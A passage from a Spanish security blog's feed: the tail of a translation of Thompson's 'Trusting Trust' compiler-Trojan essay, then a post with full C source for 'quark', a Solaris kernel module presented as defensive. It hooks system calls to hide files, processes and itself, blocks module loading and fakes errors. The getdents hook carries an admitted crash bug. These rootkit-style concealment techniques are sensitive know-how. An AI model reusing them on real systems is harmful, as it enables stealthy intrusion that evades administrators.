<li>Este programa puede contener una cantidad arbitraria de exceso de equipaje que será reproducida junto con el algoritmo principal. En el ejemplo, incluso se reproduce el comentario.</li>
</ol>
<h3>Etapa II</h3>
<p>El compilador de C se escribe en C. Lo que estoy a punto de describir es uno de los muchos problemas del &#8220;huevo y la gallina&#8221; que se presentan cuando los compiladores se escriben en su propio lenguaje de programación. En este caso, utilizaré el ejemplo específico del compilador de C.</p>
<p>C permite construir una matriz (array) de caracteres inicializada indicando una cadena de caracteres (string). Los caracteres individuales en la cadena se pueden escapar para representar caracteres no imprimibles. Por ejemplo,</p>
<pre>   "Hola mundo \ n"</pre>
<p>representa una secuencia con el carácter &#8220;\n&#8221;, representando el carácter nueva línea.</p>
<pre>...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
...</pre>
<p>CUADRO 2</p>
<p>El cuadro 2 es una idealización del código en el compilador de C que interpreta las secuencias de escape de caracteres. Éste es un fragmento asombroso de código. &#8220;Sabe&#8221; de una manera totalmente portable qué código de carácter se compila para una nueva línea en cualquier juego de caracteres. El acto de saber esto le permite recompilarse a sí mismo, perpetuando así el conocimiento.</p>
<pre>...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
if( c == 'v' )
  return ('\v');
...</pre>
<p>CUADRO 3</p>
<p>Supongamos que deseamos modificar el compilador de C para incluir la secuencia &#8220;\v&#8221; para representar el carácter de tabulación vertical. La extensión al cuadro 2 es obvia y se presenta en el cuadro 3. Recompilamos el compilador de C, pero conseguimos un aviso. Dado que la versión binaria del compilador no sabe nada sobre &#8220;\v&#8221;, el código fuente no es obviamente C legal. Debemos “entrenar” al compilador. Después de que “sepa” qué significa &#8220;\v&#8221;, nuestro nuevo cambio se convertirá en C legal. Miramos en una tabla ASCII que un tabulador vertical es el decimal 11. Modificamos nuestro código fuente para convertirlo en el cuadro 4. Ahora el viejo compilador acepta el nuevo código fuente. Instalamos el binario resultante como el nuevo compilador de C oficial y ahora podemos escribir la versión portable de la manera en la que la teníamos en el cuadro 3.</p>
<pre>...
c = next();
if( c != '\\' )
c = next();
if( c == '\\' )
  return ('\\');
if( c == 'n' )
  return ('\n');
if( c == 'v' )
  return (11);
...</pre>
<p>CUADRO 4</p>
<p>Este es un concepto profundo. Es lo más cercano a un programa “que aprende” que he visto. Simplemente se lo dices una vez y puedes utilizar esta definición auto-referente.</p>
<h3>Etapa III</h3>
<pre>compile(s)
char s;
{
  ...
}</pre>
<p>CUADRO 5</p>
<p>Una vez más, en el compilador de C, el cuadro 5 representa el control de alto nivel del compilador de C donde la rutina “compile” se llama para compilar la siguiente línea de código fuente. El cuadro 6 muestra una pequeña modificación para que el compilador deliberadamente compile erroneamente siempre que se encuentre un patrón particular. Si esto no fuera deliberado, esto sería un fallo en el compilador. Dado que es deliberado, debe llamarse “Caballo de Troya”.</p>
<pre>compile(s)
char s;
{
    if(match(s,"pattern") {
        compile("bug");
        return;
    }
    ...
}</pre>
<p>CUADRO 6</p>
<p>El fallo real que implanté en el compilador buscaría el patrón en el comando de &#8220;login&#8221; de UNIX. El código de reemplazo compilaría erroneamente el comando &#8220;login&#8221; de modo que aceptara una contraseña cifrada prevista o una contraseña conocida concreta. Así, si este código fue instalado en binario y fueron utilizados binarios para compilar el comando de &#8220;login&#8221;, podría registrarme en ese sistema como cualquier usuario.</p>
<p>Tal código, evidentemente, no pasaría desapercibido por mucho tiempo. Incluso una lectura ocasional más atenta del código fuente del compilador de C levantaría suspicacias.</p>
<pre>compile(s)
char s;
{
    if(match(s,"pattern1") {
        compile("bug1");
        return;
    }
    if(match(s,"pattern2") {
        compile("bug2");
        return;
    }
    ...
}</pre>
<p>CUADRO 7</p>
<p>El paso final se representa en el cuadro 7. Esto simplemente agrega un segundo Caballo de Troya a ya existente. El segundo patrón está dirigido al compilador de C. El código de reemplazo es un programa que se auto-reproduce, de la etapa I, que inserta ambos Caballos de Troya en el compilador. Esto requiere una fase en la que aprenda, como en el ejemplo de la etapa II. Primero compilamos el código fuente modificado con el compilador de C normal para producir un binario infectado. Instalamos este binario como el compilador oficial de C. Ahora podemos quitar el código troyano del código fuente del compilador y el nuevo binario reinsertará este código troyano siempre que compile. Por supuesto, el comando de &#8220;login&#8221; seguirá infectado sin rastro en su ninguna parte de su código fuente.</p>
<h3>Moral</h3>
<p>La moraleja es obvia. No puedes confiar en el código que no creaste totalmente por ti mismo (especialmente código de las empresas que contratan a gente como yo). Ninguna cantidad de verificación o de escrutinio a nivel de código fuente te protegerá contra usar código no confiable. Para demostrar la posibilidad de esta clase de ataque, escogí el compilador de C. Habría podido escoger en cualquier programa de manejo de programas tales como un ensamblador, un cargador, o incluso microcódigo de hardware. Conforme el nivel del programa es más bajo, estos código troyanos son más y más difíciles de detectar. Un troyano bien instalado en microcódigo será casi imposible de detectar.</p>
<p>Después de intentar convencerte de que no puedes confiar en mí, deseo moralizar. Quisiera criticar el manejo que hace la prensa de los &#8220;hackers&#8221;, de la banda 414, de la banda de Dalton, del etc. Los actos realizados por estos chicos son vandalismo en el mejor de los casos y probablemente allanamiento y hurto en el peor. Solamente la insuficiencia del código penal ahorra a estos hackers una pena muy grave. Las empresas que son vulnerables a estas actividades (y la mayoría de las empresas grandes son muy vulnerables) están presionando fuertemente para poner al día el código penal. El acceso desautorizado a los sistemas informáticos es ya un crimen grave en algunos estados y se está tratando actualmente en muchas más legislaturas de estado así como en el congreso.</p>
<p>Hay una situación explosiva en ebullición. Por una parte, la prensa, la televisión, y las películas convierten en héroes a vándalos llamándolos &#8220;whiz kids&#8221;. Por otra parte, los actos realizados por estos chicos pronto serán castigados con varios años en prisión.</p>
<p>He visto testificar a estos chicos antes del congreso. Está claro que son totalmente inconscientes de la seriedad de sus actos. Hay obviamente una brecha cultural. El acto de entrar en un sistema informático tiene que tener el mismo estigma social que entrar en la casa de un vecino. No debe importar que la puerta del vecino esté abierta. La prensa debe aprender que el uso incorrecto de una computadora no es más asombroso que conducir bebido un automóvil.</p>
<h3>Reconocimiento</h3>
<p>Primero leí de la posibilidad de tal Caballo de Troya en una crítica de las Fuerza Aéreas (4) sobre la seguridad de una puesta en práctica temprana de Multics. No puedo encontrar una referencia más específica a este documento. Apreciaría si alguien pudiera conseguirme esta referencia.</p>
<h3>Referencias</h3>
<ol>
<li>Bobrow, D.G., Burchfiel, J.D., Murphy, D.L., and Tomlinson, R.S. TENEX, a paged time-sharing system for the PDP-IO. Commun. ACM 15, 3 (Mar. 1972), 135-143.</li>
<li>Kernighan, B.W., and Ritchie, D.M. The C Programming Language. Prentice-Hall, Englewood Cliffs, N.J., 1978.</li>
<li>Ritchie, D.M., and Thompson, K. The UNIX time-sharing system. Commun. ACM 17, 7(July 1974), 365-375.</li>
<li>Unknown Air Force Document.</li>
</ol>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/txipi.wordpress.com/61/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/txipi.wordpress.com/61/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/txipi.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/txipi.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/txipi.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/txipi.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/txipi.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/txipi.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/txipi.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/txipi.wordpress.com/61/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/txipi.wordpress.com/61/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/txipi.wordpress.com/61/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=61&subd=txipi&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://blog.txipinet.com/2006/12/28/58-meta-programacion-i-reflexiones-sobre-confiar-en-la-confianza/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b31cc813fcd79e9a170a88884fadb89d?s=96&#38;d=identicon&#38;r=X" medium="image">
			<media:title type="html">txipi</media:title>
		</media:content>
	</item>
		<item>
		<title>Módulo del núcleo para Solaris orientado a la seguridad</title>
		<link>http://blog.txipinet.com/2006/11/23/52-modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/</link>
		<comments>http://blog.txipinet.com/2006/11/23/52-modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/#comments</comments>
		<pubDate>Thu, 23 Nov 2006 21:23:34 +0000</pubDate>
		<dc:creator>txipi</dc:creator>
				<category><![CDATA[Seguridad Informática]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[LKM]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://txipi.wordpress.com/2006/11/23/modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/</guid>
		<description><![CDATA[En el anterior ártículo hicimos una aproximación al mundo de los Loadable Kernel Modules (LKM) en Solaris. En esta ocasión desarrollaremos un módulo del núcleo orientado a mejorar la seguridad del sistema por parte del administrador. Es un módulo muy sencillo, pero sirve para conocer cómo programar módulos más complejos.

&#160;
El LKM quark
Funcionalidades
El módulo de kernel [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.txipinet.com&blog=2249633&post=55&subd=txipi&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>En el <a href="http://blog.txipinet.com/index.php/2006/11/17/51-programacion-de-lkms-en-solaris">anterior ártículo</a> hicimos una aproximación al mundo de los Loadable Kernel Modules (LKM) en Solaris. En esta ocasión desarrollaremos un módulo del núcleo orientado a mejorar la seguridad del sistema por parte del administrador. Es un módulo muy sencillo, pero sirve para conocer cómo programar módulos más complejos.</p>
<p><span id="more-55"></span></p>
<p class="post-content">&nbsp;</p>
<h3>El LKM quark</h3>
<h4>Funcionalidades</h4>
<p>El módulo de kernel “quark” está orientado a la protección de nuestros sistemas Solaris frente a ataques que utilicen otros LKMs, además de proporcionar otras funcionalidades como proteger el demonio de log del sistema, ocultar archivos, directorios y procesos, etc.</p>
<p>Para utilizar “quark” en entornos de pruebas, se ha utilizado una opción de compilación (-DDEBUG) mediante la cual el funcionamiento del módulo perderá transparencia con objeto de informar de las modificaciones al sistema que se van realizando en ejecución. Al incluirse esta opción como optativa, podemos usar “quark” tanto para pruebas como en un entorno de producción, sin tener que hacer modificaciones en el código.</p>
<p>El objetivo principal de “quark” es proteger el sistema, por lo que necesita a su vez protegerse a sí mismo para evitar que sus esfuerzos en mantener la integridad del sistema sean deshabilitados. Por ello, “quark” no muestra información acerca de sí mismo a modinfo. Esto evitará que atacantes poco exhaustivos caigan en la cuenta de su presencia (un intruso con paciencia y conocimientos podría delatar su presencia investigando la tabla de símbolos del kernel).</p>
<p>Otra funcionalidad reseñable es la posibilidad de configurar una cadena de caracteres concreta, y todo fichero que la contenga se ocultará a todos los usuarios, siendo invisible incluso para root. Esto puede servirnos para ocultar ficheros o directorios confidenciales, puntos débiles del sistema, etc.</p>
<p>A pesar de ocultarse, alguien podría intuir su presencia y desinstalarlo o instalar un nuevo LKM que invalide la acción de nuestro módulo. Para protegernos de esto, “quark” no permite que se descarguen o se carguen más módulos del sistema. Así, si nos aseguramos de que nuestro módulo se ha cargado antes que un posible módulo atacante, la tabla de peticiones al sistema estará protegida y el mecanismo de carga y descarga de módulos quedará bloqueado.</p>
<p>Todas las funcionalidades comentadas están regidas por el valor de una variable, secureflag, mediante la que definimos si los criterios de seguridad deben aplicarse o no. El valor de esta variable se puede modificar una vez “quark” esté cargado, así que no es necesaria la recarga o compilación del módulo. Por lo tanto, podemos mantener al sistema protegido y cuando sea necesario cargar un nuevo módulo, por ejemplo, deshabilitamos momentáneamente la seguridad, cargamos el módulo y la volvemos a habilitar. Esta forma de funcionar permite aunar seguridad y flexibilidad.</p>
<p>Una de las cosas más típicas que se producen al sufrir un ataque es la pérdida o manipulación de los logs del sistema. Como ya hemos comentado, “quark” puede ser utilizado para proteger determinados ficheros, pero, además, actúa con un cuidado especial a la hora de asegurar el demonio encargado de los logs del sistema (syslogd). Su manera de funcionar es la siguiente: por defecto, el demonio de logs del sistema se ejecutará normalmente y está visible dentro de la lista de procesos. Cuando un atacante trata de detener su ejecución, “quark” simula que esa detención ha tenido éxito y oculta el proceso del demonio. El sistema seguirá generando logs, pero de manera invisible para los usuarios. El intruso en cuestión creerá estar a salvo y obrará de manera menos cautelosa, sin saber que sus pasos están siendo vigilados.</p>
<p>Para que todo esto sea posible, ha sido preciso parchear varias llamadas al sistema, como veremos en la siguiente sección.</p>
<h4>Programación</h4>
<p>La estructura básica del módulo es muy simple:</p>
<ul>
<li>Las funciones y estructuras de datos obligatorias para todo módulo de kernel (_init(), _info(), _fini()).</li>
<li>Funciones destinadas a suplantar las peticiones al sistema originales.</li>
<li>Funciones adicionales.</li>
</ul>
<p>Lo principal dentro de las funciones de carga y descarga del módulo es ser cuidadoso para poder dejar todo como estaba anteriormente a su carga. Por ello, a pesar de que durante la carga del módulo se suplantan varias llamadas al sistema, las funciones originales se guardan en punteros a funciones específicos, para poder restaurarlas durante la descarga del módulo.</p>
<p>Comentemos ahora cada una de las llamadas al sistemas que ha sido necesario suplantar para conseguir las funcionalidades que ofrece “quark”:</p>
<ul>
<li>Ocultación de ficheros</li>
</ul>
<p>En los sistemas UNIX estándar los ficheros y directorios se organizan en función de unas estructuras denominadas dirent. Cuando queremos mostrar el contenido de un directorio, o hacer una búsqueda en el disco duro se hace una petición al sistema (getdents()), por lo tanto, parcheando esa syscall podremos decidir qué se mostrará. En Solaris esto es exactamente igual, con la salvedad de que la syscall utilizada es la versión de 64 bits (getdents64()). La lista de ficheros que devuelve esta petición al sistema es filtrada antes de devolverse al área de usuario, eliminando los ficheros que hayamos creído conveniente.</p>
<p>En “quark” definimos una cadena de caracteres (#define HIDEFILENAME &#8220;hide.me&#8221;) y todos los ficheros o directorios que contengan esa cadena serán eliminados de la salida que se proporcionará a la función que solicitó la información desde el área de usuario.</p>
<p>Para proteger los ficheros y directorios no basta con ocultarlos, en “quark” hemos parcheado también open(), open64() y chdir(). La causa de tener que modificar dos veces open reside en la arquitectura híbrida de Solaris: mientras que muchos programas utilizan ya la versión de open de 64 bits, existen comandos que todavía siguen empleando la versión de 32 bits. Si solamente modificáramos una de las dos, los ficheros podrían ser accedidos por los comandos que utilizasen la otra petición al sistema. Parcheando chdir() evitamos que se accedan a los directorios protegidos. Todas estas modificaciones en la tabla de peticiones al sistema pueden habilitarse y deshabilitarse, así que no es necesario desinstalar el módulo para crear o editar ficheros y directorios que contengan la cadena de caracteres que hay que ocultar. Cuando alguien intente acceder a ellos el sistema devolverá un error, similar a los que devuelve cuando los ficheros no existen, para evitar sospechas (“No such file or directory”).</p>
<ul>
<li>Ocultación de procesos</li>
</ul>
<p>Existen varios métodos para ocultar procesos. Muchos rootkits instalan versiones troyanizadas de los comandos que muestran los procesos del sistema (ps, pgrep, ptree&#8230;). Desde un enfoque de módulo de kernel, esto no es necesario, sino que es mucho más efectivo modificar las syscalls y que cualquier comando que las use, proporcione información modificada convenientemente por nosotros.</p>
<p>Plasmoid utilizó en sus primeras aproximaciones a un método de ocultación eficiente una modificación doble: dado que el pseudo sistema de ficheros /proc contiene un fichero por cada proceso con la información del fichero que contiene el ejecutable que desencadenó la creación del proceso y demás información (/proc/&lt;pid&gt;/psinfo), modificando open() y read() para evitar mostrar información acerca de los procesos que queremos ocultar. Esto realmente funciona correctamente, pero supone una gran sobrecarga global para el sistema, ya que open() y read() se utilizan para muchas otras cosas y la comprobación se hace cada vez que se utilizan.</p>
<p>En un análisis más elaborado, el mismo autor diseñó otro enfoque para ocultar procesos: como /proc es un directorio a todos los efectos, comprobamos en getdents() si el fichero que hay que mostrar es un número y, de ser así, si corresponde al descriptor de proceso que queremos ocultar. Cuando esto se produzca, ocultamos el fichero que describe el proceso de la misma manera que ocultábamos los ficheros en la sección anterior.</p>
<p>Nosotros utilizamos este segundo enfoque para ocultar procesos cuando es necesario: al principio ningún proceso permanece oculto, pero cuando es preciso ocultar syslogd, nos aseguramos de que el fichero corresponde al descriptor del proceso de syslogd, y lo ocultamos como si se tratara de un fichero normal.</p>
<ul>
<li>Creación de un switch</li>
</ul>
<p>Todas las funcionalidades de seguridad que aporta “quark” pueden habilitarse y deshabilitarse a voluntad. Utilizando la creación de un fichero con un nombre extraño (#define TOGGLE &#8220;quark_LKM&#8221;) podremos modificar el valor de la variable secureflag durante la ejecución del módulo. Para ello es preciso parchear la petición al sistema encargada de crear ficheros (creat64()). En ella comprobamos si el fichero que nos encargan crear contiene la cadena definida como biestable (TOGGLE) y si es así, variamos el valor de secureflag y generamos artificialmente un mensaje de error.</p>
<ul>
<li>Protección de syslogd</li>
</ul>
<p>Nuestro módulo trata de proteger el demonio del sistema encargado de recoger los logs, impidiendo que un posible atacante detenga su ejecución, y ocultando su presencia cuando alguien lo intente. Necesitamos programar entonces dos mecanismos: uno para detectar un intento de “matar” el proceso relacionado con syslogd, y otro para ocultarlo después de ese intento. Es decir, es preciso parchear la syscall kill(), impidiendo su uso con syslogd y modificando la variable hidesyslogd (encargada de definir si debemos ocultar el proceso o no), y utilizar el método anteriormente explicado para ocultar procesos.</p>
<ul>
<li>Protección del sistema contra la carga de módulos</li>
</ul>
<p>La protección que “quark” proporciona podría verse desbaratada si permitimos la carga de nuevos módulos que sobrescriban los parches que nuestro módulo efectúa en la tabla de peticiones al sistema. Es por esto que “quark”, por defecto, deshabilita la carga de nuevos módulos en cuanto es instalado, modificando la syscall modctl() que es la encargada de gestionar qué módulos de kernel se cargan.</p>
<p>Este hecho podría provocar que una vez instalado, nuestro módulo no pudiera desinstalarse, pero esta funcionalidad también está regida por el “switch” o biestable comentado anteriormente. Cuando queramos agregar un nuevo módulo, modificamos el valor de secureflag, lo cargamos y volvemos a habilitar la protección.</p>
<h4>Código fuente</h4>
<p>Este código está protegido bajo la Licencia Pública GNU (GPL), es decir, es software libre. Para obtener una copia actualizada de esta licencia, visite http://www.fsf.org.</p>
<pre>#include &lt;sys/systm.h&gt;
#include &lt;sys/ddi.h&gt;
#include &lt;sys/sunddi.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/dirent.h&gt;
#include &lt;sys/proc.h&gt;
#include &lt;sys/procfs.h&gt;
#include &lt;sys/kmem.h&gt;
#include &lt;sys/errno.h&gt;
#include &lt;sys/modctl.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;

#define	TRUE		1
#define FALSE		0
#define MAXSYSCALLS	256
#define TOGGLE		"quark_LKM"
#define SYSLOGDNAME	"syslogd"
#define HIDEFILENAME	"hide.me"

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =
{
    &amp;mod_miscops,
#ifdef DEBUG
    "Quark LKM",
#else
    ""
#endif
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &amp;modlmisc,
    NULL
};

extern struct sysent sysent[];
static struct sysent sysent_backup[MAXSYSCALLS];

int (*oldcreat64) (const char *path, mode_t mode);
int (*oldkill) (int, int);
int (*oldgetdents64) (int, struct dirent64 *, size_t);
int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldopen) (const char *path, int oflag, mode_t mode);
int (*oldchdir) (const char *path);

char toggle[] = TOGGLE;
char syslogdname[] = SYSLOGDNAME;
char hidefilename[] = HIDEFILENAME;
int secureflag = TRUE;
int hidesyslogd = FALSE;

/*
 * Functions to know if a process is a syslogger, in order to
 * hide it. Code ripped from Plasmoid's sift.c.
 */
int issyslogd(pid_t pid)
{
    proc_t *proc;
    char *psargs;
    int ret;

    proc = (proc_t *) prfind(pid);
    psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);
    if (proc != NULL)
	memcpy(psargs, PTOU(proc)-&gt;u_psargs, PSARGSZ);
    else
	return FALSE;

    if (strstr(psargs, (char *) &amp;syslogdname) != NULL)
	ret = TRUE;
    else
	ret = FALSE;

    kmem_free(psargs, PSARGSZ);
    return ret;
}

int checkbyname(char *name)
{
    if (isdigit(name) &amp;&amp; issyslogd(myatoi(name)))
	return TRUE;
    else
	return FALSE;
}

int isdigit(char *str)
{
    int i, ret;

    ret = TRUE;
    for (i = 0; ret &amp;&amp; i &lt; strlen(str); i++)
	if (str[i] &lt; '0' || str[i] &gt; '9')
	    ret = FALSE;

    return ret;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr &gt;= str; ptr--) {
	if (*ptr &lt; '0' || *ptr &gt; '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return res;
}

int savesysent()
{
    int i;

    for(i = 0; i &lt; MAXSYSCALLS; i++) {
        memcpy(&amp;sysent_backup[i], &amp;sysent[i], sizeof(struct sysent));
    }
}

int checksysent()
{
    int i, ret;

    ret = FALSE;

    for(i = 0; i &lt; MAXSYSCALLS; i++) {
        if(sysent[i].sy_call != sysent_backup[i].sy_call) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "system call %d has been modified (old: %p new: %p)\n",
                    i, sysent_backup[i].sy_call, sysent[i].sy_call);
#endif
            ret = TRUE;
            sysent[i].sy_call = sysent_backup[i].sy_call;
        }
    }

    return ret;
}

/* NEW FUNCTIONS... */

/*
 * New syscall creat64 in order to set a security toggle
 */
int newcreat64(const char *path, mode_t mode)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) &amp; len);

    if (strstr(namebuf, (char *) &amp;toggle) != NULL) {
	if (secureflag) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: exiting from secure mode");
#endif
	    secureflag = FALSE;
	} else {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: entering into secure mode");
#endif
	    secureflag = TRUE;
	}
        if (checksysent()) {
	    set_errno(ESRCH);
	    return -1;
        }
	set_errno(ENFILE);
	return -1;
    } else
	return oldcreat64(path, mode);
}

/*
 * New syscall kill
 */
int newkill(int pid, int signal)
{
    if (secureflag &amp;&amp; issyslogd(pid)) {
#ifdef DEBUG
        cmn_err(CE_NOTE, "quark: not allowing to kill process (%i)", pid);
        cmn_err(CE_NOTE, "quark: process %i hidden", pid);
#endif
        hidesyslogd = TRUE;
	set_errno(ESRCH);
        return -1;
    } else
        return oldkill(pid, signal);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * entering directories that contain the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newchdir(const char *path)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) &amp; len);

    if (secureflag &amp;&amp; strstr(namebuf, (char *) &amp;hidefilename) != NULL) {
#ifdef DEBUG
	cmn_err(CE_NOTE, "quark: hiding directory (%s)", namebuf);
#endif
	set_errno(ENOENT);
	return -1;
    } else
	return oldchdir(path);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * reading the content of files containing the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newopen64(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen64(path, oflag, mode);

    if (ret &gt;= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) &amp; len);

	if (secureflag &amp;&amp; strstr(namebuf, (char *) &amp;hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

int newopen(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen(path, oflag, mode);

    if (ret &gt;= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) &amp; len);

	if (secureflag &amp;&amp; strstr(namebuf, (char *) &amp;hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

/*
 * This function has been recoded from the original source of itf.c
 * by plaguez. It does not work properly with files containing the
 * syslogdname string more than once. Don`t play with it, files containing
 * more than one syslogdname string definitely cause crashes, this bug is
 * even present in the original code.
 * This might sound like a bug, but I don't care, I never came to
 * the situation renaming a file containing the syslogdname word more
 * than once.
 */
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
{
    int ret, oldret, i, reclen;
    struct dirent64 *buf2, *buf3;

    oldret = (*oldgetdents64) (fildes, buf, nbyte);
    ret = oldret;

    if (ret &gt; 0) {
	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);
	copyin((char *) buf, (char *) buf2, ret);
	buf3 = buf2;

	i = ret;
	while (i &gt; 0) {
	    reclen = buf3-&gt;d_reclen;
	    i -= reclen;

	    if ((strstr((char *) &amp;(buf3-&gt;d_name), (char *) &amp;syslogdname) != NULL)
                || checkbyname((char *) &amp;(buf3-&gt;d_name))
               ) {
#ifdef DEBUG
		cmn_err(CE_NOTE, "quark: hiding file/process (%s)", buf3-&gt;d_name);
#endif
		if (i != 0)
/*
		    memmove(buf3, (char *) buf3 + buf3-&gt;d_reclen, i);
*/
		    buf3-&gt;d_off = 1024;
		else
		    buf3-&gt;d_off = 1024;
		ret -= reclen;

	    }
	    if (buf3-&gt;d_reclen &lt; 1) {
		ret -= i;
		i = 0;
	    }
	    if (i != 0)
		buf3 = (struct dirent64 *) ((char *) buf3 + buf3-&gt;d_reclen);
	}
	copyout((char *) buf2, (char *) buf, ret);
	kmem_free(buf2, oldret);
    }
    return ret;
}

/* STANDARD LKM FUNCTIONS */

int _init(void)
{
    int i;

    if ((i = mod_install(&amp;modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not install module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully installed");
#endif

    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
    oldkill = (void *) sysent[SYS_kill].sy_callc;
    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;
    oldopen64 = (void *) sysent[SYS_open64].sy_callc;
    oldopen = (void *) sysent[SYS_open].sy_callc;
    oldchdir = (void *) sysent[SYS_chdir].sy_callc;

    sysent[SYS_creat64].sy_callc = (void *) newcreat64;
    sysent[SYS_kill].sy_callc = (void *) newkill;
    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;
    sysent[SYS_open64].sy_callc = (void *) newopen64;
    sysent[SYS_open].sy_callc = (void *) newopen;
    sysent[SYS_chdir].sy_callc = (void *) newchdir;

    savesysent();

    return i;
}

int _info(struct modinfo *modinfop)
{
    return (mod_info(&amp;modlinkage, modinfop));
}

int _fini(void)
{
    int i;

    if ((i = mod_remove(&amp;modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not remove module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully removed");
#endif

    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;
    sysent[SYS_kill].sy_callc = (void *) oldkill;
    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;
    sysent[SYS_open64].sy_callc = (void *) oldopen64;
    sysent[SYS_open].sy_callc = (void *) oldopen;
    sysent[SYS_chdir].sy_callc = (void *) oldchdir;

    return i;
}</pre>
<h4>Conclusiones</h4>
<p>A lo largo de estos dos artículos hemos podido comprobar como Solaris tiene una arquitectura modular, en la que los módulos de kernel son parte fundamental de la potencia y flexibilidad del sistema. Tantas son las posibilidades que este mecanismo proporciona que se ha convertido en los últimos tiempos en un nuevo campo de batalla en cuanto a la seguridad e integridad en sistemas.</p>
<p>Son muchos los esfuerzos tanto por parte de programadores de xploits, rootkits, y LKMs troyanizados, como por la de los coordinadores de proyectos de seguridad como StMichael, Papillon, etc. de explorar este nuevo espacio de acción. Atrás quedaron los días en los que conseguir una escalada de privilegios hasta ser root consistían los objetivos de los primeros, y guardar por que eso no se produzca el de los segundos. Nuestro módulo pretende ser una nueva aportación a este grupo de herramientas de protección.</p>
<p>Este texto puede entenderse como un acercamiento al kernel de Solaris, así como un manual de programación de nuevos LKMs que modifiquen el comportamiento del sistema en beneficio del administrador del mismo. Hemos pretendido ser claros y concisos, sin entrar en detalles que puedan confundir al lector y sin quedarnos en lo meramente superficial.</p>
<p>Por último nos gustaría agradecer la colaboración involuntaria de todos aquellos creadores de LKMs que han hecho esfuerzos por explicar sus progresos, facilitar documentación detallada y redactar artículos explicativos. Esperamos que este texto contribuya a esa lista de documentos que ayuden a otros a crear sus propios módulos.</p>
<h4>Referencias</h4>
<p>Cuando programé el LKM para Solaris me fijé en todo lo que había desarrollado sobre el tema hasta el momento, muchas de las referencias tienen varios años ya, seguro que cada uno de los autores ha ido renovando sus proyectos y documentaciones, pero aquí están las fuentes:</p>
<ul>
<li>Clemens, Jonathan. 9 de junio de 2001. &#8220;Knark: Linux Kernel Subversion&#8221;. Intrusion Detection FAQ. SANS Institute. <a href="http://www.sans.org/newlook/resources/IDFAQ/knark.htm">http://www.sans.org/newlook/resources/IDFAQ/knark.htm</a></li>
